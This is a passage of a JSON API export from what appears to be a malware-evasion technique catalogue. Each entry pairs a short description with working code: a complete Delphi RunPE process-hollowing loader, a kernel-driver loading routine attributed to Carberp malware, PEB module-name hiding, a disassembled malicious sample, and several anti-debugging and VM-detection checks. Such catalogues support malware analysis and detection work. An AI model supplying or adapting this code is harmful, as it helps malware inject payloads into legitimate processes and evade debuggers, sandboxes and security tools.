HeapSegmentCommit;\r\n\tULONG HeapDeCommitTotalFreeThreshold;\r\n\tULONG HeapDeCommitFreeBlockThreshold;\r\n\tULONG NumberOfHeaps;\r\n\tULONG MaximumNumberOfHeaps;\r\n\tPVOID** ProcessHeaps;\r\n\tPVOID GdiSharedHandleTable;\r\n\tPVOID ProcessStarterHelper; //PPS_POST_PREOCESS_INIT_ROUTINE?\r\n\tPVOID GdiDCAttributeList;\r\n\tPVOID LoaderLock;\r\n\tULONG OSMajorVersion;\r\n\tULONG OSMinorVersion;\r\n\tULONG OSBuildNumber;\r\n\tULONG OSPlatformId;\r\n\tULONG ImageSubSystem;\r\n\tULONG ImageSubSystemMajorVersion;\r\n\tULONG ImageSubSystemMinorVersion;\r\n\tULONG GdiHandleBuffer[0x22];\r\n\tPVOID ProcessWindowStation;\r\n} MYPEB, * PMYPEB;\r\n\r\nvoid ChangeModuleName(wchar_t* szModule, wchar_t* newName)\r\n{\r\n\tPPEB PEB = (PPEB)__readgsqword(0x60);\r\n\t_LIST_ENTRY* f = PEB->Ldr->InMemoryOrderModuleList.Flink;\r\n\tbool Found = FALSE;\r\n\r\n\twhile (!Found)\r\n\t{\r\n\t\tPLDR_DATA_TABLE_ENTRY dataEntry = CONTAINING_RECORD(f, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\r\n\r\n\t\tif (wcsstr(dataEntry->FullDllName.Buffer, szModule) != NULL)\r\n\t\t{\r\n\t\t\twcscpy(dataEntry->FullDllName.Buffer, newName);\r\n\t\t\tFound = TRUE;\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tf = dataEntry->InMemoryOrderLinks.Flink;\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tChangeModuleName((wchar_t*)L\"myApplication.exe\", (wchar_t*) L\"NEW_MODULE_NAME\"); //you can also change to a module name with no file extension if you want to hide your module \r\n}"
        },
        {
            "id": 115,
            "language": {
                "id": 5,
                "label": "Assembly",
                "code_class": "x86asm"
            },
            "user": {
                "id": 12,
                "username": "Lexsek",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Lexsek_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/216/?format=api",
            "description": "The malicious sample listed below abused variant bytes of __IsNonwritableInCurrentImage signature to add two instructions consisting of an anti-debugging technique referenced as [U0114](https://unprotect.it/technique/closehandle-ntclose/) on Unprotect.\r\n\r\nSha256 : a41ba65405a032f4450ba80882cdd01d715d9d1684f4204050566be29a6dedb0",
            "plain_code": "// Malicious code\r\n.text:00A4264A                 push    0DEADBEEFh\r\n.text:00A4264F                  call    kernel32_CloseHandle\r\n\r\n//Full abused function tagged as __IsNonwritableInCurrentImage.\r\n.text:00A42610 __IsNonwritableInCurrentImage proc near ; CODE XREF: sub_A428D0:loc_A429E2↓p\r\n.text:00A42610\r\n.text:00A42610                 ms_exc          = CPPEH_RECORD ptr -18h\r\n.text:00A42610\r\n.text:00A42610 ; __unwind { // __except_handler4\r\n.text:00A42610                 push    ebp\r\n.text:00A42611                 mov     ebp, esp\r\n.text:00A42613                 push    0FFFFFFFEh\r\n.text:00A42615                 push    offset stru_A5AE98\r\n.text:00A4261A                 push    offset __except_handler4\r\n.text:00A4261F                 mov     eax, large fs:0\r\n.text:00A42625                 push    eax\r\n.text:00A42626                 sub     esp, 8\r\n.text:00A42629                 push    ebx\r\n.text:00A4262A                 push    esi\r\n.text:00A4262B                 push    edi\r\n.text:00A4262C                 mov     eax, ___security_cookie\r\n.text:00A42631                 xor     [ebp+ms_exc.registration.ScopeTable], eax\r\n.text:00A42634                 xor     eax, ebp\r\n.text:00A42636                 push    eax\r\n.text:00A42637                 lea     eax, [ebp+ms_exc.registration]\r\n.text:00A4263A                 mov     large fs:0, eax\r\n.text:00A42640                 mov     [ebp+ms_exc.old_esp], esp\r\n.text:00A42643 ;   __try { // __except at loc_A42676\r\n.text:00A42643                 mov     [ebp+ms_exc.registration.TryLevel], 0\r\n.text:00A4264A                 push    0DEADBEEFh\r\n.text:00A4264F                 call    kernel32_CloseHandle\r\n.text:00A4264F ;   } // starts at A42643\r\n.text:00A42655                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh\r\n.text:00A4265C                 xor     eax, eax\r\n.text:00A4265E                 mov     ecx, [ebp+ms_exc.registration.Next]\r\n.text:00A42661                 mov     large fs:0, ecx\r\n.text:00A42668                 pop     ecx\r\n.text:00A42669                 pop     edi\r\n.text:00A4266A                 pop     esi\r\n.text:00A4266B                 pop     ebx\r\n.text:00A4266C                 mov     esp, ebp\r\n.text:00A4266E                 pop     ebp\r\n.text:00A4266F                 retn\r\n.text:00A42670 ; ---------------------------------------------------------------------------\r\n.text:00A42670\r\n.text:00A42670 loc_A42670:                             ; DATA XREF: .rdata:stru_A5AE98↓o\r\n.text:00A42670 ;   __except filter // owned by A42643\r\n.text:00A42670                 mov     eax, 1\r\n.text:00A42675                 retn\r\n.text:00A42676 ; ---------------------------------------------------------------------------\r\n.text:00A42676\r\n.text:00A42676 loc_A42676:                             ; DATA XREF: .rdata:stru_A5AE98↓o\r\n.text:00A42676 ;   __except(loc_A42670) // owned by A42643\r\n.text:00A42676                 mov     esp, [ebp+ms_exc.old_esp]\r\n.text:00A42679                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh\r\n.text:00A42680                 mov     eax, 2000h\r\n.text:00A42685                 mov     ecx, [ebp+ms_exc.registration.Next]\r\n.text:00A42688                 mov     large fs:0, ecx\r\n.text:00A4268F                 pop     ecx\r\n.text:00A42690                 pop     edi\r\n.text:00A42691                 pop     esi\r\n.text:00A42692                 pop     ebx\r\n.text:00A42693                 mov     esp, ebp\r\n.text:00A42695                 pop     ebp\r\n.text:00A42696                 retn\r\n.text:00A42696 ; } // starts at A42610\r\n.text:00A42696 __IsNonwritableInCurrentImage endp"
        },
        {
            "id": 114,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/215/?format=api",
            "description": "NtLoadDriver technique used by Caberp malware.",
            "plain_code": "VOID StartSys(LPCSTR chSysPath)\r\n{\r\n\tNTSTATUS St;\r\n\tBOOL bRet = FALSE;\r\n\tHKEY hKey;\r\n\tCHAR chRegPath[MAX_PATH];\r\n\tWCHAR wcLoadDrv[MAX_PATH];\r\n\tCHAR chImagePath[MAX_PATH] = \"\\\\??\\\\\";\r\n\tUNICODE_STRING usStr;\r\n\tDWORD dwType;\r\n\r\n\tGetPrivilege(SE_LOAD_DRIVER_PRIVILEGE);\r\n\r\n\tDbgPrint(__FUNCTION__\"(): driver path '%s'\\n\",chSysPath);\r\n\r\n\tDWORD dwId = GetTickCount();\r\n\r\n\t_snprintf(chRegPath,RTL_NUMBER_OF(chRegPath)-1,\"system\\\\currentcontrolset\\\\services\\\\%x\", dwId);\r\n\t_snwprintf(wcLoadDrv,RTL_NUMBER_OF(wcLoadDrv)-1,L\"\\\\registry\\\\machine\\\\system\\\\currentcontrolset\\\\services\\\\%x\", dwId);\r\n\r\n\tstrncat(chImagePath,chSysPath,sizeof(chImagePath));\r\n\tif (RegCreateKey(HKEY_LOCAL_MACHINE,chRegPath,&hKey) == ERROR_SUCCESS)\r\n\t{\r\n\t\tRegSetValueEx(hKey,\"ImagePath\",0,REG_SZ,(LPBYTE)&chImagePath,strlen(chImagePath)+1);\r\n\r\n\t\tdwType = SERVICE_KERNEL_DRIVER;\r\n\t\tRegSetValueEx(hKey,\"Type\",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));\r\n\r\n\t\tdwType = SERVICE_DEMAND_START;\r\n\t\tRegSetValueEx(hKey,\"Start\",0,REG_DWORD,(LPBYTE)&dwType,sizeof(DWORD));\r\n\r\n\t\tRegCloseKey(hKey);\r\n\r\n\t\tRtlInitUnicodeString(&usStr,wcLoadDrv);\r\n\t\tSt = NtLoadDriver(&usStr);\r\n\r\n\t\tDbgPrint(__FUNCTION__\"(): NtLoadDriver status %x\\n\",St);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tDbgPrint(__FUNCTION__\"(): RegCreateKey last error %x\\n\",GetLastError());\r\n\t}\r\n}"
        },
        {
            "id": 113,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/88/?format=api",
            "description": "Supports both x86-32 / x86-64\r\n\r\nThe RunPE loader must have the same architecture as `PE Payload` and `PE Host`. `PE Payload` and `PE Host` must of course have the same architecture.",
            "plain_code": "// Supports both x86-32 and x86-64\r\n\r\nprogram Unprotect_RunPE;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  System.Classes,\r\n  WinAPI.Windows,\r\n  System.SysUtils;\r\n\r\n\r\nfunction NtUnmapViewOfSection(\r\n  ProcessHandle: THandle;\r\n  BaseAddress: Pointer\r\n):DWORD; stdcall; external 'ntdll.dll';\r\n\r\ntype\r\n  EWindowsException = class(Exception)\r\n  private\r\n    FLastError : Integer;\r\n  public\r\n    {@C}\r\n    constructor Create(const WinAPI : String); overload;\r\n\r\n    {@G}\r\n    property LastError : Integer read FLastError;\r\n  end;\r\n\r\n  EInvalidPEFile = class(Exception)\r\n  public\r\n    {@C}\r\n    constructor Create(const AReason : String); overload;\r\n  end;\r\n\r\nconstructor EWindowsException.Create(const WinAPI : String);\r\nvar AFormatedMessage : String;\r\nbegin\r\n  FLastError := GetLastError();\r\n\r\n  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg=\"%s\".', [\r\n      WinAPI,\r\n      FLastError,\r\n      SysErrorMessage(FLastError)\r\n  ]);\r\n\r\n  ///\r\n  inherited Create(AFormatedMessage);\r\nend;\r\n\r\n\r\nconstructor EInvalidPEFile.Create(const AReason : String);\r\nbegin\r\n  inherited Create(Format('Invalid Windows PE File: \"%s\"', [AReason]));\r\nend;\r\n\r\nprocedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const ADataSize : SIZE_T);\r\nvar ABytesWritten : SIZE_T;\r\nbegin\r\n  if not WriteProcessMemory(\r\n    hProcess,\r\n    pOffset,\r\n    pData,\r\n    ADataSize,\r\n    ABytesWritten\r\n  ) then\r\n    raise EWindowsException.Create('WriteProcessMemory');\r\nend;\r\n\r\nprocedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String); overload;\r\nvar AStartupInfo            : TStartupInfo;\r\n    AProcessInfo            : TProcessInformation;\r\n    pThreadContext          : PContext;\r\n    AImageBase              : NativeUInt;\r\n    pOffset                 : Pointer;\r\n    ABytesRead              : SIZE_T;\r\n    ptrImageDosHeader       : PImageDosHeader;\r\n    AImageNtHeaderSignature : DWORD;\r\n    ptrImageFileHeader      : PImageFileHeader;\r\n    I                       : Integer;\r\n    pSectionHeader          : PImageSectionHeader;\r\n    pPayloadAddress         : Pointer;\r\n    pImageBaseOffset        : Pointer;\r\n    ALoaderX64              : Boolean;\r\n\r\n    {$IFDEF WIN64}\r\n      pOptionalHeader64 : PImageOptionalHeader64;\r\n    {$ELSE}\r\n      pOptionalHeader32 : PImageOptionalHeader32;\r\n    {$ENDIF}\r\n\r\nbegin\r\n  if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then\r\n    raise Exception.Create('Memory buffer is not valid.');\r\n\r\n  pOffset := pPEBuffer;\r\n\r\n  ptrImageDosHeader := PImageDosHeader(pOffset);\r\n\r\n  if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then\r\n    raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');\r\n\r\n  pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);\r\n\r\n  AImageNtHeaderSignature := PDWORD(pOffset)^;\r\n\r\n  if AImageNtHeaderSignature <> IMAGE_NT_SIGNATURE then\r\n    raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');\r\n\r\n  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));\r\n\r\n  ptrImageFileHeader := PImageFileHeader(pOffset);\r\n\r\n  {$IFDEF WIN64}\r\n    ALoaderX64 := True;\r\n  {$ELSE}\r\n    ALoaderX64 := False;\r\n  {$ENDIF}\r\n\r\n  case ptrImageFileHeader^.Machine of\r\n    IMAGE_FILE_MACHINE_AMD64 : begin\r\n      if not ALoaderX64 then\r\n        Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');\r\n    end;\r\n\r\n    IMAGE_FILE_MACHINE_I386 : begin\r\n      if ALoaderX64 then\r\n        Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');\r\n    end;\r\n  end;\r\n\r\n  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));\r\n\r\n  {$IFDEF WIN64}\r\n    pOptionalHeader64 := PImageOptionalHeader64(pOffset);\r\n\r\n    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));\r\n  {$ELSE}\r\n    pOptionalHeader32 := PImageOptionalHeader32(pOffset);\r\n\r\n    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));\r\n  {$ENDIF}\r\n\r\n  pSectionHeader := PImageSectionHeader(pOffset);\r\n\r\n  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));\r\n  ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));\r\n\r\n  AStartupInfo.cb := SizeOf(TStartupInfo);\r\n  AStartupInfo.wShowWindow := SW_SHOW;\r\n\r\n  UniqueString(APEHost);\r\n\r\n  if not CreateProcessW(\r\n      PWideChar(APEHost),\r\n      nil,\r\n      nil,\r\n      nil,\r\n      False,\r\n      CREATE_SUSPENDED,\r\n      nil,\r\n      nil,\r\n      AStartupInfo,\r\n      AProcessInfo\r\n  ) then\r\n    raise EWindowsException.Create('CreateProcessW');\r\n\r\n  pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);\r\n  pThreadContext^.ContextFlags := CONTEXT_FULL;\r\n\r\n  if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then\r\n    raise EWindowsException.Create('GetThreadContext');\r\n\r\n  {$IFDEF WIN64}\r\n    pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));\r\n  {$ELSE}\r\n    pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));\r\n  {$ENDIF}\r\n\r\n  if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then\r\n    raise EWindowsException.Create('ReadProcessMemory');\r\n\r\n  if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then\r\n    raise Exception.Create('Could not unmap section.');\r\n\r\n  pPayloadAddress := VirtualAllocEx(\r\n    AProcessInfo.hProcess,\r\n    nil,\r\n    {$IFDEF WIN64}\r\n      pOptionalHeader64^.SizeOfImage,\r\n    {$ELSE}\r\n      pOptionalHeader32^.SizeOfImage,\r\n    {$ENDIF}\r\n    MEM_COMMIT or MEM_RESERVE,\r\n    PAGE_EXECUTE_READWRITE\r\n  );\r\n\r\n  if not Assigned(pPayloadAddress) then\r\n    raise EWindowsException.Create('VirtualAllocEx');\r\n\r\n  WriteProcessMemoryEx(\r\n    AProcessInfo.hProcess,\r\n    pPayloadAddress,\r\n    pPEBuffer,\r\n    {$IFDEF WIN64}\r\n      pOptionalHeader64^.SizeOfHeaders\r\n    {$ELSE}\r\n      pOptionalHeader32^.SizeOfHeaders\r\n    {$ENDIF}\r\n  );\r\n\r\n  for I := 1 to ptrImageFileHeader^.NumberOfSections do begin\r\n    try\r\n      WriteProcessMemoryEx(\r\n        AProcessInfo.hProcess,\r\n        Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),\r\n        Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData),\r\n        pSectionHeader^.SizeOfRawData\r\n      );\r\n    finally\r\n      pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader));\r\n    end;\r\n  end;\r\n\r\n  {$IFDEF WIN64}\r\n    pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader64^.AddressOfEntryPoint;\r\n  {$ELSE}\r\n    pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader32^.AddressOfEntryPoint;\r\n  {$ENDIF}\r\n\r\n  WriteProcessMemoryEx(\r\n    AProcessInfo.hProcess,\r\n    pImageBaseOffset,\r\n    @pPayloadAddress,\r\n    SizeOf(Pointer)\r\n  );\r\n\r\n  if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then\r\n    raise EWindowsException.Create('SetThreadContext');\r\n\r\n  if ResumeThread(AProcessInfo.hThread) = 0 then\r\n    raise EWindowsException.Create('ResumeThread');\r\nend;\r\n\r\n\r\nprocedure HollowMe(const APEFile, APEHost : String); overload;\r\nvar ABuffer    : array of byte;\r\n    hFile      : THandle;\r\n    AFileSize  : Int64;\r\n    ABytesRead : DWORD;\r\nbegin\r\n  if not FileExists(APEFile) then\r\n    raise Exception.Create(Format('File \"%s\" does not exists.', [APEFile]));\r\n  ///\r\n\r\n  hFile := CreateFile(\r\n      PWideChar(APEFile),\r\n      GENERIC_READ,\r\n      FILE_SHARE_READ,\r\n      nil,\r\n      OPEN_EXISTING,\r\n      0,\r\n      0\r\n  );\r\n  if hFile = INVALID_HANDLE_VALUE then\r\n    raise EWindowsException.Create('CreateFile');\r\n\r\n  try\r\n    if not GetFileSizeEx(hFile, AFileSize) then\r\n      raise EWindowsException.Create('GetFileSizeEx');\r\n\r\n    if AFileSize = 0 then\r\n      raise Exception.Create('Invalid PE File Size.');\r\n\r\n    SetLength(ABuffer, AFileSize);\r\n\r\n    if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then\r\n      raise EWindowsException.Create('ReadFile');\r\n  finally\r\n    CloseHandle(hFile);\r\n  end;\r\n\r\n  ///\r\n  HollowMe(PByte(ABuffer), AFileSize, APEHost);\r\nend;\r\n\r\nbegin\r\n  try\r\n    HollowMe('FileToRun.exe', 'HostFile.exe');\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 112,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/64/?format=api",
            "description": "Original source code available here: https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/TimingAttacks/timing.cpp",
            "plain_code": "/*\r\nRDSTC is a famous x86 instruction to count the number of cycle since reset.\r\nThis can be used to detect the VM. Thanks to Forcepoint for blog article.\r\n*/\r\n\r\n#define LODWORD(_qw)    ((DWORD)(_qw))\r\nBOOL rdtsc_diff_locky()\r\n{\r\n\tULONGLONG tsc1;\r\n\tULONGLONG tsc2;\r\n\tULONGLONG tsc3;\r\n\tDWORD i = 0;\r\n\r\n\t// Try this 10 times in case of small fluctuations\r\n\tfor (i = 0; i < 10; i++)\r\n\t{\r\n\t\ttsc1 = __rdtsc();\r\n\r\n\t\t// Waste some cycles - should be faster than CloseHandle on bare metal\r\n\t\tGetProcessHeap();\r\n\r\n\t\ttsc2 = __rdtsc();\r\n\r\n\t\t// Waste some cycles - slightly longer than GetProcessHeap() on bare metal\r\n\t\tCloseHandle(0);\r\n\r\n\t\ttsc3 = __rdtsc();\r\n\r\n\t\t// Did it take at least 10 times more CPU cycles to perform CloseHandle than it took to perform GetProcessHeap()?\r\n\t\tif ((LODWORD(tsc3) - LODWORD(tsc2)) / (LODWORD(tsc2) - LODWORD(tsc1)) >= 10)\r\n\t\t\treturn FALSE;\r\n\t}\r\n\r\n\t// We consistently saw a small ratio of difference between GetProcessHeap and CloseHandle execution times\r\n\t// so we're probably in a VM!\r\n\treturn TRUE;\r\n}"
        },
        {
            "id": 111,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/56/?format=api",
            "description": "Original source code available here: https://gist.github.com/soxfmr/16c495d6e4ad99e9e46f5bfd558d152f",
            "plain_code": "/**\r\nAnti-Debugging in NtQueryObject - ObjectAllTypesInformation\r\nCopyright (C) 2018 soxfmr@foxmail.com\r\n\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program.  If not, see <https://www.gnu.org/licenses/>.\r\n*/\r\n#include <tchar.h>\r\n#include <Windows.h>\r\n\r\n#define DEBUG_OBJECT_NAME L\"DebugObject\"\r\n\r\ntypedef struct _UNICODE_STRING {\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tPWSTR Buffer;\r\n} UNICODE_STRING;\r\n\r\ntypedef enum _OBJECT_INFORMATION_CLASS {\r\n    ObjectBasicInformation = 0,\r\n    ObjectNameInformation = 1,\r\n    ObjectTypeInformation = 2,\r\n    ObjectAllTypesInformation = 3,\r\n    ObjectHandleInformation = 4\r\n} OBJECT_INFORMATION_CLASS;\r\n\r\n\r\n/**\r\n* The following structure contains partial members of the entire data structure\r\n* As the public documentation shown, the TotalNumberOfObjects should follows by\r\n* TotalNumberOfHandles instead of in reverseing order (Represent in code snippet of book <<逆向工程核心原理>>)\r\n* For the completely structure information: https://doxygen.reactos.org/d6/d07/struct__OBJECT__TYPE__INFORMATION.html\r\n*/\r\ntypedef struct _OBJECT_TYPE_INFORMATION {\r\n\tUNICODE_STRING TypeName;\r\n\tULONG TotalNumberOfObjects;\r\n\tULONG TotalNumberOfHandles;\r\n} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;\r\n\r\ntypedef struct _OBJECT_ALL_TYPES_INFORMATION {\r\n\tULONG NumberOfObjectTypes;\r\n\tOBJECT_TYPE_INFORMATION ObjectTypeInformation[1];\r\n} OBJECT_ALL_TYPES_INFORMATION, *POBJECT_ALL_TYPES_INFORMATION;\r\n\r\ntypedef NTSTATUS (NTAPI *PNTQUERYOBJECT)(\r\n\tHANDLE Handle,\r\n\tOBJECT_INFORMATION_CLASS ObjectInformationClass,\r\n\tPVOID ObjectInformation,\r\n\tULONG ObjectInformationLength,\r\n\tPULONG ReturnLength\r\n);\r\n\r\nVOID WriteLog(TCHAR* lpMessage)\r\n{\r\n\tHANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);\r\n\tWriteConsole(hOutput, lpMessage, _tcslen(lpMessage), NULL, NULL);\r\n}\r\n\r\n/**\r\n* If you were compile the program in Debug mode, you must disable the RTC runtime check option (/RTCu)\r\n* Otherwise the RTC runtime function will be call at the end of this function and overwrite the return value of `eax`\r\n*/\r\nBOOL NtQueryObjectDebuggerDetect()\r\n{\r\n\tULONG i = 0;\r\n\tBOOL bRet = FALSE;\r\n\r\n\tPNTQUERYOBJECT pNtQueryObject = NULL;\r\n\tPOBJECT_TYPE_INFORMATION pObjectTypeInfo = NULL;\r\n\tPOBJECT_ALL_TYPES_INFORMATION pObjectAllTypesInfo = NULL;\r\n\t\r\n\tUCHAR *pNextTypeLocation = NULL;\r\n\tUCHAR *pObjectTypeLocation = NULL;\r\n\t\r\n\tULONG dwObjAllTypesLen = 0;\r\n\tPVOID pObjectAllTypesBuffer = NULL;\r\n\r\n\tpNtQueryObject = (PNTQUERYOBJECT) GetProcAddress(GetModuleHandle(L\"ntdll.dll\"), \r\n\t\t\"NtQueryObject\");\r\n\tif (pNtQueryObject == NULL)\r\n\t{\r\n\t\tWriteLog(L\"Cannot obtain the address of NtQueryObject\\n\");\r\n\t\treturn bRet;\r\n\t}\r\n\r\n\tpNtQueryObject(NULL, ObjectAllTypesInformation, &dwObjAllTypesLen, sizeof(dwObjAllTypesLen), &dwObjAllTypesLen);\r\n\r\n\tpObjectAllTypesBuffer = VirtualAlloc(NULL, dwObjAllTypesLen, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); \r\n\tif (0 != pNtQueryObject((HANDLE) -1, ObjectAllTypesInformation, pObjectAllTypesBuffer, dwObjAllTypesLen, NULL))\r\n\t{\r\n\t\tWriteLog(L\"Cannot obtain the object of all types info\\n\");\r\n\t\tgoto release;\r\n\t}\r\n\r\n\tpObjectAllTypesInfo = (POBJECT_ALL_TYPES_INFORMATION) pObjectAllTypesBuffer;\r\n\tpObjectTypeLocation = (UCHAR*) pObjectAllTypesInfo->ObjectTypeInformation;\r\n\r\n\tfor (i = 0; i < pObjectAllTypesInfo->NumberOfObjectTypes; i++)\r\n\t{\r\n\t\tpObjectTypeInfo = (POBJECT_TYPE_INFORMATION) pObjectTypeLocation;\r\n\t\tif (wcscmp(DEBUG_OBJECT_NAME, pObjectTypeInfo->TypeName.Buffer) == 0)\r\n\t\t{\r\n\t\t\tbRet = pObjectTypeInfo->TotalNumberOfObjects > 0 ? TRUE : FALSE;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\t// This make me confuse a bit, but seems the Buffer is locate at the end\r\n\t\t// of OBJECT_TYPE_INFORMATION object (I guess :) )\r\n\t\tpObjectTypeLocation = (UCHAR*) pObjectTypeInfo->TypeName.Buffer;\r\n\t\tpObjectTypeLocation += pObjectTypeInfo->TypeName.MaximumLength;\r\n\t\t// Address align, 0xFFFFFFFC on x86, and 0xFFFFFFFFFFFFFFF8 for AMD64\r\n\t\tpNextTypeLocation = (UCHAR*) ((ULONG) pObjectTypeLocation & -sizeof(void*));\r\n\t\t// If the alignment operation reduce the address which is lesser than \r\n\t\t// the desire size of the buffer, then we should add the alignment size to it\r\n\t\tif (pNextTypeLocation < pObjectTypeLocation)\r\n\t\t\tpNextTypeLocation += sizeof(ULONG);\r\n\r\n\t\tpObjectTypeLocation = pNextTypeLocation;\r\n\t}\r\n\r\nrelease:\r\n\t\r\n\tif (pObjectAllTypesBuffer != NULL)\r\n\t{\r\n\t\tVirtualFree(pObjectAllTypesBuffer, 0, MEM_RELEASE);\r\n\t}\r\n\r\n\treturn bRet;\r\n}\r\n\r\nint main()\r\n{\r\n\tif (NtQueryObjectDebuggerDetect())\r\n\t{\r\n\t\tWriteLog(L\"[-] Debugger Detected!\\n\");\r\n\t} else \r\n\t{\r\n\t\tWriteLog(L\"[+] Pass!\\n\");\r\n\t}\r\n\t\r\n\tsystem(\"pause\");\r\n\r\n\treturn 0;\r\n}"
        },
        {
            "id": 110,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/59/?format=api",
            "description": "",
            "plain_code": "#include <stdio.h>\r\n#include <windows.h>\r\ntypedef HANDLE (*_CsrGetProcessId)();\r\n\r\nint main(void)\r\n{\r\n    HMODULE nt=GetModuleHandle(\"ntdll.dll\");\r\n    _CsrGetProcessId CsrGetProcessId=(_CsrGetProcessId)GetProcAddress(nt,\"CsrGetProcessId\");\r\n    HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,CsrGetProcessId());\r\n\r\n    if(!proc)\r\n    {\r\n        printf(\"debugger is present!\");\r\n    }\r\n}"
        },
        {
            "id": 109,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/60/?format=api",
            "description": "Original source code is available here: https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle",
            "plain_code": "bool Check()\r\n{\r\n    __try\r\n    {\r\n        CloseHandle((HANDLE)0xDEADBEEF);\r\n        return false;\r\n    }\r\n    __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode()\r\n                ? EXCEPTION_EXECUTE_HANDLER \r\n                : EXCEPTION_CONTINUE_SEARCH)\r\n    {\r\n        return true;\r\n    }\r\n}"
        },
        {
            "id": 108,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/62/?format=api",
            "description": "Original source code available here: https://anti-debug.checkpoint.com/techniques/debug-flags.html#manual-checks-heap-flags",
